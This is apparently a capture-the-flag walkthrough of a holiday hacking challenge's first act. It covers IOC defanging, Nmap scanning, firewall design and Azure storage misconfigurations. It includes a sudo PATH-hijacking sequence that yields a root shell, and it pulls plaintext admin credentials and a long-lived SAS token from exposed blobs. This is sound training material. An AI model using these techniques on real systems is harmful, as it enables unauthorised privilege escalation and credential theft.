Act 1⚓︎
Story of Act 1:
The Counter Hack crew is in the Neighborhood festively preparing for the holidays when they are suddenly overrun by lively Gnomes in Your Home! There must have been some magic in those Gnomes, because, due to some unseen spark, some haunting hocus pocus, they have come to life and are now scurrying around the Neighborhood.
After completing the train ride, we arrive in the Neighborhood. Ten new objectives unlock for Act 1, each focused on foundational defensive and investigative security skills.


The Neighborhood map becomes available, helping orient us as challenges begin to branch out across different locations.

Its All About Defang⚓︎
Its All About Defang
Difficulty:
Location: City Hall - Inside
Topic: Threat Intel / IOC Extraction & Defanging
Find Ed Skoudis upstairs in City Hall and help him troubleshoot a clever phishing tool in his cozy office.
Overview
This challenge teaches IOC (Indicator of Compromise) extraction and defanging - essential threat intelligence skills for safely sharing malicious artifacts without triggering accidental execution.
- Use regex patterns to extract domains, IPs, URLs, and emails from phishing content
- Defang IOCs before reporting: replace
.with[.],@with[@],httpwithhxxp - Exclude known-good infrastructure from threat reports to avoid false positives
graph LR
A[Phishing Email] --> B[Regex Extraction]
B --> C[Filter Trusted Assets]
C --> D[Defang with sed]
D --> E[Submit Report]
We head upstairs in City Hall to find Ed Skoudis in his office.


Speaking with Ed awards our first achievement of the act along with the objective details.
Achievement
Congratulations! You spoke with Ed Skoudis!
Santa provides two hints framing the task: extract IOCs with regex, then clean and defang them properly.
Defang All The Thingz
The PTAS does a pretty good job at defanging, however, the feature we are still working on is one that defangs ALL scenarios. For now, you will need to write a custom sed command combining all defang options.
Extract IOCs
Remember, the new Phishing Threat Analysis Station (PTAS) is still under construction. Even though the regex patterns are provided, they haven't been fine tuned. Some of the matches may need to be manually removed.
Opening the challenge presents an email inside the Threat Intelligence Console.

Extract IOCs⚓︎
Step Objective: Extract IOCs
This phishing email may be connected to the mysterious Gnome activities reported throughout our neighborhood! Extracting IOCs (Indicators of Compromise) is essential to protect the Counter Hack Crew and identify the threat actors behind this campaign. Your mission:
Out first task is to extract Indicators of Compromise (IOCs) from the email using regular expressions (regex), including domains, IP addresses, URLs, and email addresses.
Domains: Domains are human-readable web addresses (like example.com) that map to IP addresses. They often indicate the source or destination of malicious activity.
- Regex:
[a-zA-Z0-9-]{4,63}\.(?!exe\b)[a-zA-Z0-9-]{2,63}(?:\.[a-zA-Z0-9-]{2,63})* - Result:
icicleinnovations.mail dosisneighborhood.corp mail.icicleinnovations.mail core.icicleinnovations.mail
IP Addresses: IP addresses are numerical labels (like 192.168.1.1) that identify devices on a network. Malicious IPs may host command & control servers or malware.
- Regex:
((25[0-5]|2[0-4]\d|1?\d?\d)\.){3}(25[0-5]|2[0-4]\d|1?\d?\d) - Result:
172.16.254.1 10.0.0.5 192.168.1.1
URLs: URLs are web addresses (like http://example.com/path) that point to specific resources. Malicious URLs often lead to phishing sites or malware downloads.
- Regex:
https?:\/\/[^\s/$.?#].[^\s]* - Result:
https://icicleinnovations.mail/renovation-planner.exe https://icicleinnovations.mail/upload_photos
Email Addresses: Email addresses (like user@example.com) identify senders and recipients. In security analysis, they can reveal phishing campaign sources or targets.
- Regex:
[a-zA-Z0-9._%+-]+@[a-zA-Z0-9.-]+\.[A-Za-z]{2,63} - Result:
sales@icicleinnovations.mail residents@dosisneighborhood.corp holiday2025-kitchen@dosisneighborhood.corp info@icicleinnovations.mail
The email below includes all extracted IOCs, which are shown in the highlighted sections.

Defang and Report⚓︎
Step Objective: Defang IOCs
Defanging IOCs (Indicators of Compromise) is crucial to ensure that malicious content cannot be accidentally activated. This phishing campaign may be connected to the recent Gnome activities! Your mission:
- Replace dots/periods with
[.] - Replace @ in email addresses with
[@] - Replace
httpwithhxxpin URLs - Replace
://with[://]in URLs - Submit the defanged IOCs to the Counter Hack Security Team
Out second task is to defang the collected IOCs from the first step. These can be chained in a single sed command:
s/http/hxxp/g; s/:\/\//[://]/g; s/@/[@]/g; s/\./[.]/g
Submission reveals a problem: we inadvertently included known trusted assets:
Security Reminder! 'dosisneighborhood[.]corp' is a legitimate Dosis Neighborhood asset - we shouldn't report our own infrastructure as threats!
⚠️ Network Notice! '10[.]0[.]0[.]5' belongs to our trusted network - please exclude legitimate assets from IOC reports!
⚠️ Communication Alert! 'residents[@]dosisneighborhood[.]corp' is an internal Dosis Neighborhood email address - please don't report our own staff emails as threats (unless they are confirmed compromised)!
...[snip]...
Returning to the extraction step, we exclude the known trusted indicators:
- Domains:
dosisneighborhood.corp - IP Addresses:
10.0.0.5 - URLs: N/A
- Email Addresses:
residents@dosisneighborhood.corp holiday2025-kitchen@dosisneighborhood.corp
The corrected report submits successfully.

Submitting the cleaned IOCs in the Objectives tab completes the objective.
Achievement
Congratulations! You have completed the Its All About Defang challenge!
Neighborhood Watch Bypass⚓︎
Neighborhood Watch Bypass
Difficulty:
Location: Data Center (Deprecated) - Outside
Topic: Linux Privilege Escalation / Sudo & PATH Hijacking
Assist Kyle at the old data center with a fire alarm that just won't chill.
Overview
This challenge demonstrates PATH hijacking - a classic Linux privilege escalation technique where scripts using relative command paths can be exploited by placing malicious binaries earlier in the PATH.
- Always use
sudo -lto enumerate sudo permissions - Scripts calling commands without absolute paths are vulnerable to PATH hijacking
- User-controlled directories in
secure_pathcreate privilege escalation opportunities
graph LR
A[sudo -l] --> B[Find Script Permissions]
B --> C[Analyze Script - Relative Paths]
C --> D[Create Malicious Binary]
D --> E[Execute via sudo]
E --> F[Root Shell]
At the deprecated Data Center, we find Kyle Parrish waiting outside.


Speaking with Kyle earns an achievement.
Achievement
Congratulations! You spoke with Kyle Parrish!
Santa's hints point toward sudo -l enumeration combined with PATH hijacking when scripts fail to use absolute paths.
What Are My Powers?
You know, Sudo is a REALLY powerful tool. It allows you to run executables as ROOT!!! There is even a handy switch that will tell you what powers your user has.
Path Hijacking
Be careful when writing scripts that allow regular users to run them. One thing to be wary of is not using full paths to executables...these can be hijacked.
Opening the terminal reveals the challenge instructions:

Privilege Escalation via PATH Hijacking⚓︎
Starting with sudo enumeration for the chiuser account:
$ sudo -l
Matching Defaults entries for chiuser on a69b822d5d9f:
env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin, use_pty,
secure_path=/home/chiuser/bin\:/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin, env_keep+="API_ENDPOINT
API_PORT RESOURCE_ID HHCUSERNAME", env_keep+=PATH
User chiuser may run the following commands on a69b822d5d9f:
(root) NOPASSWD: /usr/local/bin/system_status.sh
Two critical details stand out:
- The script
/usr/local/bin/system_status.shruns as root with no password secure_pathincludes/home/chiuser/bin, a user-controlled directory
The script calls multiple binaries (free, df, ps, etc.) without absolute paths:
$ cat /usr/local/bin/system_status.sh
#!/bin/bash
echo "=== Dosis Neighborhood Fire Alarm System Status ==="
...[snip]...
free -h
...[snip]...
This enables PATH hijacking. We place a malicious free binary in /home/chiuser/bin that spawns a root shell:
echo '/bin/sh' > /home/chiuser/bin/free
chmod 777 /home/chiuser/bin/free
sudo /usr/local/bin/system_status.sh
The script resolves free from our controlled directory, granting root access:
=== Dosis Neighborhood Fire Alarm System Status ===
Fire alarm system monitoring active...
System resources (for alarm monitoring):
# id
uid=0(root) gid=0(root) groups=0(root)
With root access, we restore the fire alarm:
# /etc/firealarm/restore_fire_alarm
...[snip]...
======================================================================
CONGRATULATIONS! You've successfully restored fire alarm system
administrative control and protected the Dosis neighborhood!
======================================================================
This completes the objective and we are awarded an achievement.
Achievement
Congratulations! You have completed the Neighborhood Watch Bypass challenge!
Santa's Gift-Tracking Service Port Mystery⚓︎
Santa's Gift-Tracking Service Port Mystery
Difficulty:
Location: Modern Scandinavian Condo - Outside
Topic: Service Discovery / Local Port Enumeration (ss, curl)
Chat with Yori near the apartment building about Santa's mysterious gift tracker and unravel the holiday mystery.
Overview
This challenge introduces basic service discovery using command-line tools to identify and interact with locally running services.
- Use
ss -tlnpto enumerate listening TCP ports on a system curlcan interact with HTTP services directly from the command line- Services often run on non-standard ports, requiring enumeration to discover them
graph LR
A[ss -tlnp] --> B[Find Port 12321]
B --> C[curl localhost:12321]
C --> D[Service Response]
At the Modern Scandinavian Condo, we meet Yori Kvitchko outside.


Speaking with Yori earns an achievement.
Achievement
Congratulations! You spoke with Yori Kvitchko!
Santa's hints suggest checking listening services with ss, then connecting via curl instead of a browser.
Who is Netstat?
Back in my day...we just used Netstat. I hear ss is the new kid on the block. A lot of the parameters are the same too...such as listing only the ports that are currently LISTENING on the system.
Web Requests without a Browser??
Since we don't have a web browser to connect to this HTTP service...There is another common tool that you can use from the cli.
Opening the terminal presents the challenge instructions:

Identifying the Listening Port⚓︎
The santa_tracker service listening port is revealed via ss:
$ ss -tlnp
State Recv-Q Send-Q Local Address:Port Peer Address:Port Process
LISTEN 0 5 0.0.0.0:12321 0.0.0.0:*
Verifying the Service⚓︎
With the port identified, we connect locally using curl:
The JSON response confirms the tracker is running with Santa's location and delivery stats.
{
"status": "success",
"message": "Ho Ho Ho! Santa Tracker Successfully Connected!",
"santa_tracking_data": {
"timestamp": "2025-12-11 18:22:17",
"location": {"name": "Evergreen Estates", ...},
"delivery_stats": {"gifts_delivered": 5043136, ...},
...[snip]...
"special_note": "Thanks to your help finding the correct port..."
}
}
This completes the objective and we are awarded an achievement.
Achievement
Congratulations! You have completed the Santa's Gift-Tracking Service Port Mystery challenge!
Visual Networking Thinger⚓︎
Visual Networking Thinger
Difficulty:
Location: Frozen Pond
Topic: Networking Fundamentals (DNS, TCP, HTTP, TLS, HTTPS)
Skate over to Jared at the frozen pond for some network magic and learn the ropes by the hockey rink.
Overview
This interactive tutorial walks through the complete lifecycle of a secure web request: DNS resolution, TCP handshake, TLS negotiation, and HTTPS communication.
- DNS A records resolve hostnames to IPv4 addresses (port 53)
- TCP three-way handshake: SYN, SYN-ACK, ACK
- TLS handshake establishes encrypted tunnel before HTTP traffic
- HTTPS = HTTP over TLS-encrypted connection
graph LR
A[DNS Lookup] --> B[TCP Handshake]
B --> C[HTTP Request]
C --> D[TLS Handshake]
D --> E[HTTPS Request]
At the frozen pond, we find Jared Folkins by the hockey rink.


Speaking with Jared awards an achievement.
Achievement
Congratulations! You spoke with Jared Folkins!
Santa notes that the terminal provides built-in guidance:
Visual Networking Thinger
This terminal has built-in hints!
When opening the challenge, we are presented with an interactive Holiday Network exercise consisting of five progressive steps.

DNS Lookup Challenge⚓︎
Challenge 1: DNS Lookup
Step one is to find the IP address of visual-networking.holidayhackchallenge.com. Let's use an IPv4 DNS request!
The first step is resolving the IP address for visual-networking.holidayhackchallenge.com. Since we need an IPv4 address, this requires a DNS A record lookup over port 53.

Success! Correctly resolved DNS A record
Request: A visual-networking.holidayhackchallenge.com via port 53
Response: A record with value 34.160.145.134
✓ DNS Challenge Complete!
TCP Three-Way Handshake⚓︎
Challenge 2: TCP 3-Way Handshake
Now that we have the IP address of the web server, we need a TCP connection. Drag and drop TCP flags to create TCP 3-way handshake between client and server.
Next, we establish a reliable transport connection using the standard three-way handshake: SYN, SYN-ACK, ACK.

HTTP GET Request⚓︎
Challenge 3: HTTP GET Request
Now that we have established a TCP connection, let's create an HTTP GET request to retrieve the web page.
With a TCP connection in place, we craft a valid HTTP GET request with Host and User-Agent headers.

Success! Valid HTTP GET request sent.
Request: GET / HTTP/1.1
Host: visual-networking.holidayhackchallenge.com
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:146.0) Gecko/20100101 Firefox/146.0
✓ HTTP Challenge Complete!
TLS Handshake⚓︎
Challenge 4: TLS Handshake
Great job with HTTP! Now let's set up a secure connection using TLS. Drag and drop the TLS messages to create the correct handshake sequence.
To secure the communication channel, we establish a TLS session through the Client Hello, Server Hello, Certificate exchange, and key negotiation process.

Success! You've correctly established a secure TLS connection.
The TLS handshake creates a secure encrypted tunnel for HTTP traffic:
1. Client Hello: Client initiates secure connection with supported cipher suites
2. Server Hello: Server responds with selected cipher suite
3. Certificate: Server sends its SSL/TLS certificate
4. Client Key Exchange: Client sends parameters for shared secret calculation
5. Server Change Cipher Spec: Server indicates messages will be encrypted
6. Finished: Server confirms handshake completion
✓ TLS Challenge Complete!
HTTPS GET Request⚓︎
Challenge 5: HTTPS GET Request
Now that we've established a secure TLS connection, let's make an HTTPS request to retrieve the website securely.
Finally, we repeat the web request over the encrypted TLS tunnel, resulting in a secure HTTPS connection.

Success! Valid HTTPS GET request sent.
Request: GET / HTTP/1.1
Host: visual-networking.holidayhackchallenge.com
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:146.0) Gecko/20100101 Firefox/146.0
✓ HTTPS Challenge Complete!
With all five steps complete, we have successfully demonstrated the full process of resolving a hostname, establishing a reliable connection, securing it with TLS, and retrieving web content safely.
This completes the objective and we are awarded an achievement.
Achievement
Congratulations! You have completed the Visual Networking Thinger challenge!
Visual Firewall Thinger⚓︎
Visual Firewall Thinger
Difficulty:
Location: Grand Hotel - NetWars Room
Topic: Network Segmentation / Firewall Rule Design (Least Privilege)
Find Elgee in the big hotel for a firewall frolic and some techy fun.
Overview
This challenge teaches network segmentation and firewall rule design following the principle of least privilege - only permitting the minimum required traffic between zones.
- DMZ should only expose HTTP/HTTPS to Internet, limited protocols to Internal
- Internal networks need controlled outbound access to cloud services
- Default deny with explicit allow rules follows least privilege
graph LR
A[Internet] -->|HTTP/HTTPS| B[DMZ]
B -->|HTTP/HTTPS/SSH| C[Internal]
C -->|HTTP/HTTPS/SSH/SMTP| D[Cloud]
C -->|All| E[Workstations]
Inside the Grand Hotel NetWars Room, we meet Chris Elgee.


Speaking with Chris awards an achievement.
Achievement
Congratulations! You spoke with Chris Elgee!
Santa mentions that the terminal provides guidance throughout the exercise:
Visual Firewall Thinger
This terminal has built-in hints!
Opening the challenge presents a Holiday Firewall Simulator, which visually represents traffic flowing between different network zones.

The environment includes the following segments:
- Internet (untrusted)
- DMZ
- Internal Network
- Cloud Services
- Workstations

The goal is applying firewall rules that permit only the minimum required traffic between zones, following the principle of least privilege. The Internet zone remains deny all by default.
DMZ Configuration⚓︎
The DMZ hosts externally accessible services and acts as a buffer between the Internet and the internal network. We configure the following rules:
- DMZ to Internal: Allow HTTP, HTTPS, and SSH
- Internet to DMZ: Allow HTTP and HTTPS only

This allows public web access to DMZ services while tightly controlling access into the internal network.
Internal Network Configuration⚓︎
The internal network requires controlled outbound access while maintaining flexibility for internal systems. We configure the following rules:
- Internal to Cloud Services: Allow HTTP, HTTPS, SSH, and SMTP
- Internal to Workstations: Allow all traffic

These rules enable common business functions such as web access, remote administration, and email delivery without exposing unnecessary services.
With all required rules in place, the firewall configuration objectives are met.

This completes the objective and we are awarded an achievement.
Achievement
Congratulations! You have completed the Visual Firewall Thinger challenge!
Intro to Nmap⚓︎
Intro to Nmap
Difficulty:
Location: Grand Hotel - East Parking Lot
Topic: Reconnaissance / Port Scanning & Service Enumeration (Nmap, Ncat)
Meet Eric in the hotel parking lot for Nmap know-how and scanning secrets. Help him connect to the wardriving rig on his motorcycle!
Overview
This challenge introduces Nmap for port scanning and service enumeration, plus Ncat for direct service interaction - fundamental reconnaissance skills.
- Default nmap scans top 1000 ports; use
-p-for all ports - Use
-sVfor service version detection - Ncat provides raw TCP connections for banner grabbing
graph LR
A[Default Scan] --> B[Full Port Scan -p-]
B --> C[IP Range Scan]
C --> D[Version Detection -sV]
D --> E[Ncat Banner Grab]
We head to the east parking lot outside the Grand Hotel to meet Eric Pursley.


Speaking with Eric awards an achievement.
Achievement
Congratulations! You spoke with Eric Pursley!
Santa provides helpful references for the tools used in this challenge:
Nmap Documentation
Nmap is pretty straightforward to use for basic port scans. Check out its documentation!
Ncat Documentation
You may also want to check out the Ncat Guide.
Interacting with the Intro to Nmap motorcycle opens up a terminal that presents the task instructions:

Default Port Scan⚓︎
Terminal
When run without any options, nmap performs a TCP port scan of the top 1000 ports. Run a default nmap scan of 127.0.12.25 and see which port is open.
Hint: Simply run: nmap 127.0.12.25
$ nmap 127.0.12.25
...[snip]...
Nmap scan report for 127.0.12.25
Host is up (0.000097s latency).
PORT STATE SERVICE
8080/tcp open http-proxy
...[snip]...
This reveals an HTTP service running on TCP port 8080.
Full TCP Port Scan⚓︎
Terminal
Sometimes the top 1000 ports are not enough. Run an nmap scan of all TCP ports on 127.0.12.25 and see which port is open.
Hint: Use nmap's -p option to specify a port number or range, or simply use -p- to specify all ports.
$ nmap -p- 127.0.12.25
...[snip]...
Nmap scan report for 127.0.12.25
Host is up (0.000071s latency).
PORT STATE SERVICE
24601/tcp open unknown
...[snip]...
This reveals an additional service listening on TCP port 24601.
Scanning an IP Range⚓︎
Terminal
Nmap can also scan a range of IP addresses. Scan the range 127.0.12.20 - 127.0.12.28 and see which has a port open.
Hint: Nmap can specify a range using a hyphen, such as: nmap 127.0.0.1-5.
$ nmap -p- 127.0.12.20-28
...[snip]...
Nmap scan report for 127.0.12.23
Host is up (0.00026s latency).
PORT STATE SERVICE
8080/tcp open http-proxy
...[snip]...
The results show 127.0.12.23 as the only host in the range with an open port (8080).
Service Version Detection⚓︎
Terminal
nmap has a version detection engine, to help determine what services are running on a given port. What service is running on 127.0.12.25 TCP port 8080?
Hint: Use -sV to activate service detection.
$ nmap -p8080 -sV 127.0.12.25
...[snip]...
Nmap scan report for 127.0.12.25
Host is up (0.000071s latency).
PORT STATE SERVICE VERSION
8080/tcp open http SimpleHTTPServer 0.6 (Python 3.10.12)
...[snip]...
This confirms the service is a Python-based HTTP server.
Interacting with a Service Using Ncat⚓︎
Terminal
Sometimes you just want to interact with a port, which is a perfect job for Ncat! Use the ncat tool to connect to TCP port 24601 on 127.0.12.25 and view the banner returned.
Run: ncat 127.0.12.25 24601
This completes the objective and we are awarded an achievement.
Achievement
Congratulations! You have completed the Intro to Nmap challenge!
Blob Storage Challenge in the Neighborhood⚓︎
Blob Storage Challenge in the Neighborhood
Difficulty:
Location: Pond
Topic: Cloud Security / Azure Blob Storage Public Access Exposure
Help the Goose Grace near the pond find which Azure Storage account has been misconfigured to allow public blob access by analyzing the export file.
Overview
This challenge demonstrates how Azure Storage misconfigurations expose sensitive data. The allowBlobPublicAccess setting, when true, allows anonymous access to blob containers.
az storage account listreveals public access settingsallowBlobPublicAccess: trueis a dangerous misconfiguration- Containers with
publicAccess: Blobexpose contents to the internet
graph LR
A[az account show] --> B[az storage account list]
B --> C[Find allowBlobPublicAccess:true]
C --> D[List Containers]
D --> E[Download Exposed Blobs]
We head to the south side of the pond to meet Goose Grace.


Santa provides a hint indicating that the terminal includes guidance:
Blob Storage Challenge in the Neighborhood
This terminal has built-in hints!
Opening the Storage Secrets terminal launches a terminal session with the Azure CLI already configured.

Azure CLI Introduction⚓︎
Terminal
You may not know this but the Azure cli help messages are very easy to access. First, try typing: az help | less
The terminal suggests starting by reviewing the Azure CLI help output:
Group
az
Subgroups:
account : Manage Azure subscription information.
acr : Manage private registries with Azure Container Registries.
ad : Manage Azure Active Directory Graph entities needed for Role Based Access Control.
...[snip]...
Terminal
Next, you've already been configured with credentials. 🔑
$ az account show | less
-
Pipe the output to
| lessso you can scroll. -
Press
qto exit less.
We confirm the session is already authenticated and identify the active subscription:
{
"environmentName": "AzureCloud",
"id": "2b0942f3-9bca-484b-a508-abdae2db5e64",
"isDefault": true,
"name": "theneighborhood-sub",
"state": "Enabled",
"tenantId": "90a38eda-4006-4dd5-924c-6ca55cacc14d",
"user": {
"name": "theneighborhood@theneighborhood.invalid",
"type": "user"
}
}
Enumerating Azure Storage Accounts⚓︎
Terminal
Now that you've run a few commands, Let's take a look at some Azure storage accounts.
Try: az storage account list | less
For more information: https://learn.microsoft.com/en-us/cli/azure/storage/account?view=azure-cli-latest
We list all storage accounts in the subscription:
[
{
...[snip]...
"name": "neighborhood1",
"properties": {
...[snip]...
"allowBlobPublicAccess": false,
...[snip]...
},
{
...[snip]...
"name": "neighborhood2",
"properties": {
...[snip]...
"allowBlobPublicAccess": true,
...[snip]...
}
},
...[snip]...
]
Reviewing the output, one account stands out: neighborhood2 has "allowBlobPublicAccess": true. This setting allows anonymous users to access blobs when a container permits public access-an unsafe configuration in most production environments.
Inspecting the Misconfigured Storage Account⚓︎
Terminal
hmm... one of these looks suspicious 🚨, i think there may be a misconfiguration here somewhere.
Try showing the account that has a common misconfiguration: az storage account show --name xxxxxxxxxx | less
We inspect the suspicious storage account directly:
{
...[snip]..
"name": "neighborhood2",
"properties": {
...[snip]..
"allowBlobPublicAccess": true,
...[snip]..
}
}
Next, we enumerate the containers associated with the misconfigured storage account:
Terminal
Now we need to list containers in neighborhood2. After running the command what's interesting in the list?
For more information: https://learn.microsoft.com/en-us/cli/azure/storage/container?view=azure-cli-latest#az-storage-container-list
[
{
"name": "public",
"properties": {
"lastModified": "2024-01-15T09:00:00Z",
"publicAccess": "Blob"
}
},
{
"name": "private",
"properties": {
"lastModified": "2024-02-05T11:12:00Z",
"publicAccess": null
}
}
]
The public container has "publicAccess": "Blob", indicating the blobs within are accessible to anyone on the internet anonymously.
Enumerating and Accessing Public Blobs⚓︎
Terminal
Let's take a look at the blob list in the public container for neighborhood2.
For more information: https://learn.microsoft.com/en-us/cli/azure/storage/blob?view=azure-cli-latest#az-storage-blob-list
We list the blobs contained in the public container:
[
{
"name": "refrigerator_inventory.pdf",
...[snip]...
},
{
"name": "admin_credentials.txt",
...[snip]...
},
{
"name": "network_config.json",
...[snip]...
}
]
Terminal
Try downloading and viewing the blob file named admin_credentials.txt from the public container.
Hint: --file /dev/stdout should print in the terminal. Don't forget to use | less!
We download and view the contents of the sensitive admin_credentials.txt blob.
$ az storage blob download --account-name neighborhood2 --container-name public --name admin_credentials.txt --file /dev/stdout | less
The output reveals plaintext administrative credentials exposed via the publicly accessible blob container.
# You have discovered an Azure Storage account with "allowBlobPublicAccess": true.
# This misconfiguration allows ANYONE on the internet to view and download files
# from the blob container without authentication.
# Public blob access is highly insecure when sensitive data (like admin credentials)
# is stored in these containers. Always disable public access unless absolutely required.
Azure Portal Credentials
User: azureadmin
Pass: AzUR3!P@ssw0rd#2025
...[snip]...
Terminal
🎊 Great, you found the misconfiguration allowing public access to sensitive information!
✅ Challenge Complete! To finish, type: finish
This completes the objective and we are awarded an achievement.
Achievement
Congratulations! You have completed the Storage Secrets challenge!
Spare Key⚓︎
Spare Key
Difficulty:
Location: Pond
Topic: Cloud Security / Azure Storage Static Website & Secrets Exposure
Help Goose Barry near the pond identify which identity has been granted excessive Owner permissions at the subscription level, violating the principle of least privilege.
Overview
This challenge demonstrates how Infrastructure-as-Code files accidentally uploaded to static websites leak secrets such as SAS tokens.
- Azure static websites use the
$webcontainer - IaC files (terraform.tfvars) should never be publicly accessible
- Long-lived SAS tokens (expiry 2100) are especially dangerous
graph LR
A[List Storage Accounts] --> B[Check Static Website]
B --> C[List $web Container]
C --> D[Find terraform.tfvars]
D --> E[Extract SAS Token]
We head to the south side of the pond to meet Goose Barry.


Santa provides a hint indicating that the terminal includes guidance:
Spare Key
This terminal has built-in hints!
Opening the Spare Key terminal launches a terminal session with the Azure CLI already configured.

Enumerating Azure Resources⚓︎
Terminal
Let's start by listing all resource groups
$ az group list -o table
This will show all resource groups in a readable table format.
We begin by enumerating all resource groups in the subscription:
Name Location ProvisioningState
------------------- ---------- -------------------
rg-the-neighborhood eastus Succeeded
rg-hoa-maintenance eastus Succeeded
rg-hoa-clubhouse eastus Succeeded
rg-hoa-security eastus Succeeded
rg-hoa-landscaping eastus Succeeded
Terminal
Now let's find storage accounts in the neighborhood resource group 📦
$ az storage account list --resource-group rg-the-neighborhood -o table
This shows what storage accounts exist and their types.
Next, we look for storage accounts associated with the neighborhood resources:
Name Kind Location ResourceGroup ProvisioningState
--------------- ----------- ---------- ------------------- -------------------
neighborhoodhoa StorageV2 eastus rg-the-neighborhood Succeeded
hoamaintenance StorageV2 eastus rg-hoa-maintenance Succeeded
hoaclubhouse StorageV2 eastus rg-hoa-clubhouse Succeeded
hoasecurity BlobStorage eastus rg-hoa-security Succeeded
hoalandscaping StorageV2 eastus rg-hoa-landscaping Succeeded
Identifying a Static Website⚓︎
Terminal
Someone mentioned there was a website in here.
maybe a static website?
try: $ az storage blob service-properties show --account-name <insert_account_name> --auth-mode login
One storage account appears to be hosting a website, suggesting the use of Azure static website hosting. To confirm this, we inspect the blob service properties:
Inspecting Storage Containers⚓︎
Terminal
Let's see what 📦 containers exist in the storage account
💡 Hint: You will need to use az storage container list
We want to list the container and its public access levels.
With static website hosting enabled, we enumerate the containers within this storage account:
[
{
"name": "$web",
"properties": {
"lastModified": "2025-09-20T10:30:00Z",
"publicAccess": null
}
},
{
"name": "public",
"properties": {
"lastModified": "2025-09-15T14:20:00Z",
"publicAccess": "Blob"
}
}
]
Inspecting the Static Website Container⚓︎
Terminal
Examine what files are in the static website container
💡 hint: when using --container-name you might need <name>
Look 👀 for any files that shouldn't be publicly accessible!
The $web container hosts static websites. We enumerate its contents to find files that should not be publicly accessible.
[
{
"name": "index.html",
"properties": {
"contentLength": 512,
"contentType": "text/html",
"metadata": {
"source": "hoa-website"
}
}
},
{
"name": "about.html",
"properties": {
"contentLength": 384,
"contentType": "text/html",
"metadata": {
"source": "hoa-website"
}
}
},
{
"name": "iac/terraform.tfvars",
"properties": {
"contentLength": 1024,
"contentType": "text/plain",
"metadata": {
"WARNING": "LEAKED_SECRETS"
}
}
}
]
Exposing the Leak⚓︎
Terminal
Take a look at the files here, what stands out?
Try examining a suspect file 🕵️:
💡 hint: --file /dev/stdout | less will print to your terminal 💻.
One file stands out: iac/terraform.tfvars. Configuration files should never be exposed through public static websites.
$ az storage blob download --account-name neighborhoodhoa --auth-mode login --container-name '$web' --name iac/terraform.tfvars --file /dev/stdout | less
# Terraform Variables for HOA Website Deployment
...[snip]...
# TEMPORARY: Direct storage access for migration script
# WARNING: Remove after data migration to new storage account
# This SAS token provides full access - HIGHLY SENSITIVE!
migration_sas_token = "sv=2023-11-03&ss=b&srt=co&sp=rlacwdx&se=2100-01-01T00:00:00Z&spr=https&sig=1djO1Q%2Bv0wIh7mYi3n%2F7r1d%2F9u9H%2F5%2BQxw8o2i9QMQc%3D"
...[snip]...
The file contains a long-lived SAS token (se=2100-01-01) granting broad permissions. Exposing this token publicly effectively provides unrestricted access to the associated storage resources.
Terminal
You found the leak! A migration_sas_token within /iac/terraform.tfvars exposed a long-lived SAS token (expires 2100-01-01) 🔑
⚠️ Accidentally uploading config files to $web can leak secrets. 🔐
Challenge Complete! To finish, type: finish
This completes the objective and we are awarded an achievement.
Achievement
Congratulations! You have completed the Too Powerful to Fail challenge!
The Open Door⚓︎
The Open Door
Difficulty:
Location: Grand Hotel - East Parking Lot
Topic: Cloud Network Security / Azure NSG Misconfiguration
Help Goose Lucas in the hotel parking lot find the dangerously misconfigured Network Security Group rule that's allowing unrestricted internet access to sensitive ports like RDP or SSH.
Overview
This challenge identifies dangerous Azure NSG rules exposing sensitive management ports (RDP/SSH) to the public internet.
- NSG rules with
sourceAddressPrefix: 0.0.0.0/0allow traffic from anywhere - RDP (3389) and SSH (22) should never be exposed to the internet
- Use
az network nsg rule listto audit security rules
graph LR
A[List NSGs] --> B[Enumerate Rules]
B --> C[Find 0.0.0.0/0 Source]
C --> D[Identify RDP Exposure]
We head outside of the Grand Hotel Lobby to the east parking lot to meet Goose Lucas.


Santa provides a hint indicating that the terminal includes guidance:
The Open Door
This terminal has built-in hints!
Opening the The Open Door terminal launches a terminal session with the Azure CLI already configured.

Reviewing Azure Output Formats⚓︎
Terminal
Welcome back! Let's start by exploring output formats.
First, let's see resource groups in JSON format (the default): $ az group list
JSON format shows detailed structured data.
We begin by listing the resource groups using the default JSON output:
[
{
"id": "/subscriptions/2b0942f3-9bca-484b-a508-abdae2db5e64/resourceGroups/theneighborhood-rg1",
"location": "eastus",
"managedBy": null,
"name": "theneighborhood-rg1",
"properties": {
"provisioningState": "Succeeded"
},
"tags": {}
},
{
"id": "/subscriptions/2b0942f3-9bca-484b-a508-abdae2db5e64/resourceGroups/theneighborhood-rg2",
"location": "westus",
"managedBy": null,
"name": "theneighborhood-rg2",
"properties": {
"provisioningState": "Succeeded"
},
"tags": {}
}
]
Terminal
Great! Now let's see the same data in table format for better readability 👀
$ az group list -o table
Notice how -o table changes the output format completely!
Both commands show the same data, just formatted differently.
Re-running the command with table output makes the information easier to scan:
Name Location ProvisioningState
------------------- ---------- -------------------
theneighborhood-rg1 eastus Succeeded
theneighborhood-rg2 westus Succeeded
Enumerating Network Security Groups (NSGs)⚓︎
Terminal
Lets take a look at Network Security Groups (NSGs).
To do this try: az network nsg list -o table
This lists all NSGs across resource groups.
For more information: https://learn.microsoft.com/en-us/cli/azure/network/nsg?view=azure-cli-latest
Next, we enumerate all Network Security Groups (NSGs) across the subscription:
Location Name ResourceGroup
---------- --------------------- -------------------
eastus nsg-web-eastus theneighborhood-rg1
eastus nsg-db-eastus theneighborhood-rg1
eastus nsg-dev-eastus theneighborhood-rg2
eastus nsg-mgmt-eastus theneighborhood-rg2
eastus nsg-production-eastus theneighborhood-rg1
Inspecting NSG Rules⚓︎
Terminal
Inspect the Network Security Group (web) 🕵️
Here is the NSG and its resource group:--name nsg-web-eastus --resource-group theneighborhood-rg1
Hint: We want to show the NSG details. Use | less to page through the output.
Documentation: https://learn.microsoft.com/en-us/cli/azure/network/nsg?view=azure-cli-latest#az-network-nsg-show
We first inspect the NSG protecting the web tier:
{
...[snip]...
"securityRules": [
{
"name": "Allow-HTTP-Inbound",
"properties": {
"access": "Allow",
"destinationPortRange": "80",
"direction": "Inbound",
...[snip]...
"sourceAddressPrefix": "0.0.0.0/0"
}
},
{
"name": "Allow-HTTPS-Inbound",
"properties": {
"access": "Allow",
"destinationPortRange": "443",
"direction": "Inbound",
...[snip]...
